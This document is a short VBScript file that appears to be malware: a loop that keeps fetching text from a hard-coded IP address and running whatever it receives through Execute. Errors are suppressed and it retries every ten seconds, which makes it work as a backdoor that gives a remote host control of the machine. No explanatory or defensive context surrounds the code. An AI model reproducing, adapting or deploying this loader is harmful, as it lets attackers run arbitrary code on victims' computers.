' neIEKkbjB
dim oblect, url
Function  MyLoad()
  On Error Resume Next
  url = "http://107.174.170.104/z/" + FormatDateTime(Now, vbLongTime)
  Set oblect = createobject("Microsoft.XMLHTTP")
  oblect.Open "GET", url, False
  oblect.Send
    If oblect.Status = 200 Then
        Execute "" + oblect.responseText + ""
        WScript.Sleep 10000
        MyLoad()
    Else
        WScript.Sleep 10000
        MyLoad()
    End If
End Function
MyLoad()